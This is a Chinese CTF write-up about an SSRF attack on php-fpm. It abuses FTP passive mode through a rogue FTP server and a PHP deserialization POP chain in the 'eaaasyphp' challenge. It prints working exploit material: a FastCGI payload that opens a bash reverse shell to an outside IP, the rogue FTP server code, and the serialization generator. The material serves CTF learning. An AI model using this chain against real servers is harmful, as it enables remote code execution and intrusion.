前言

听别的师傅说ssrf打ftp已经是常考点了,所以今天结合陇原战“疫“的一道赛题学习一下ssrf利用ftp的被动模式攻击fpm的技巧。

什么是php-fpm

fpm从字面意思理解就是php-fastcgi进程管理器,用于动态管理进程,也可以说是cgi程序。那么fastcgi又是什么?

什么是fastcgi

前身是cgi,一个通用网关接口,当客户端发出的请求到http服务器,例如nginx或者apache,会通过匹配后缀知道该请求是一个动态的php请求,那么web服务器就会直接交给php-fpm进行处理,通过php语法分析处理该请求后的结果返回给web服务器,再返回给我们客户端。

这么说可能比较抽象,举一个例子,比如我们发送一个index.php?file=/etc/passwd,web服务器接收到url请求后,它会匹配index.php中的php后缀,并判断它是动态的php请求,然后通过网关接口发送给fpm,而参数file=/etc/passwd内容是由php解释器来执行。而cgi就是一个能够解析php语法的程序,fastcgi是一个通讯协议,是cgi的改进版。更详细参考这篇文章:CGI与FastCGI详解与区别_CL82的博客-CSDN博客_cgi和fastcgi的区别

怎么打php-fpm?

这篇文章的主题就是打php-fpm,那么该怎么打?php-fpm默认监听的就是9000端口。我们知道fastcgi是一种通讯协议,web服务器与fpm是通过fastcgi协议来通讯的,在fpm数据包中有一个字段SCRIPT_FILENAME,它指向要执行的文件,就例如/etc/passwd,后来,fpm的默认配置中增加了一个选项 security.limit_extensions限定了某些后缀的文件被执行,所以就有些局限,当然,如果我们能够对fpm任意命令执行是最好的。这里就有auto_prepend_file和auto_append_file这两个配置项。

auto_append_file  #在执行php文件后自动包含一个指定文件
auto_prepend_file #在执行php文件前自动包含一个指定文件

我们主要就利用auto_prepend_file配置项,如果设置auto_prepend_file=php://input,那么再执行指定文件的时候,它就会先包含body中的内容,如果我们把恶意命令添加到body中,就可以执行任意命令。前提是能够远程文件包含。总体理一下思路,客户端控制web服务器访问本地的fpm的9000端口,伪造配置包含php://input的数据,执行恶意代码。主要利用gopherus工具来实现攻击。

ftp的被动模式

ftp是文件传输协议,用来传输协议。一般情况下默认为主动模式,通过20端口来传输数据,通过21端口来传输控制信息,主动模式的工作原理:

首先客户端连接ftp服务器的tcp21端口,向该端口发送控制信息(port命令)该port命令主要包含客户端用什么端口接收命令,接着ftp服务器接收命令,使用本机的20端口去连接客户端的指定端口,并发送数据。

如果客户端的主机是内网主机,就算开放了指定端口,ftp服务器也连接不上客户端,因此也没办法传输数据,所以在此缺陷下有了被动模式。

被动模式的工作原理:

同样是客户端连接ftp服务器的20端口建立连接,但并不是发送port命令,而是发送pasv命令。服务端收到pasv命令后,在自己本机上打开一个高端端口(>1024),并发送数据通知客户端向我的该高端端口发送数据,客户端收到后就与服务端该端口建立连接传输数据。

攻击思路

在ftp的被动模式下,服务端向客户端发送本机的公网ip与指定端口,让客户端去连接传输数据。那么如果我们去在自己的vps上构造一个恶意的ftp服务器,去修改ftp服务端向客户端发送的ip与端口为127.0.0.1的9000端口。让客户端去连接本机的9000端口传输数据,(此时的客户端是web服务器)如果在 9000端口上开启了fpm服务,我们上传伪造的fastcgi协议就会传输到web服务器的9000端口,与fpm进行交互,以此达到执行恶意命令的目的。

题目实战

陇原战”疫”eaaasyphp

打开题目是一段php代码,

<?php

class Check {
public static $str1 = false;
public static $str2 = false;
}
class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}
class Hint {

public function __wakeup(){
$this->hint = "no hint";
}

public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}
class Bunny {

public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}
class Welcome {
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}
class Bypass {

public function __destruct()
{
if (Check::$str1) {
($this->str4)();
} else {
throw new Error("Error");
}
}
}
if (isset($_GET['code'])) {
unserialize($_GET['code']);
} else {
highlight_file(__FILE__);
}

一看就是反序列化的题,目标函数file_put_contents,可以写马进去。pop链也比较简单,链子为

Bypass::__destruct->Welcome::__invoke->Bunny::__tostring->file_put_contents

尝试一番后发现文件没有被写入,可能是因为没有写入权限。我们构造序列化串查看一下php的版本信息,

O:4:%22Hint%22:-1:{}

这里有个小点,我们需要绕过wakeup让hint为空。这里不能用属性值大于原有值来绕过了,因为这个php版本有点高,将属性值改为负数就可以绕过了。

在phpinfo里找到了fastcgi。那么这题就要打fpm了。

那么我们就要利用file_put_contents来上传攻击fastcgi的payload,然后再通过ftp的被动模式转发给fpm的9000端口达到攻击效果。首先我们使用Gopherus工具来生成伪造的fastcgi协议。

复制_后面的内容,

%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH105%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00i%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/1.116.160.155/2334%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

接着在自己的vps上起一个恶意的ftp服务器。py代码如下:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',2337)) #端口可改
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

贴上ftp状态码:FTP状态码 - 冻冻儿 - 博客园

使用命令python3 ftp.py启动ftp服务器,另外开启一个vps监听2334端口。

让data赋值恶意payload,username=ftp://aaa@vps:2337/123。最终pop链为:

<?php
class Check{
public static $str1 = false;
public static $str2 = false;
}
class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}
class Bunny {
public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}
class Welcome {
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}
class Bypass {
public function __construct()
{
$this->aaa = new Esle();
}
}
$a = new Bypass();
$b =new Welcome();
$c = new Bunny();
$a->str4 = $b;
$b->username = $c;
$c->filename="ftp://aaa@1.116.160.155:2337/123";
$c->data=urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH105%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00i%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/1.116.160.155/2334%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00");
echo urlencode(serialize($a));

打入payload成功反弹shell。后面就查询到flag了。

结语

这种技巧的前提是要有文件上传点,就例如本题中的file_put_contents函数,还有打fpm需要考虑靶机是否监听了9000端口,或者说9000上是否启动了fpm服务。考虑这些前提之后结合ssrf漏洞就能达到远程rce的效果了。

参考链接:

陇原战“疫“2021网络安全大赛的一道web_errorr0的博客-CSDN博客

SSRF 攻击PHP-FPM(FastCGI 攻击):学习总结仅供参考_头秃的bug的博客-CSDN博客_fastcgi ssrf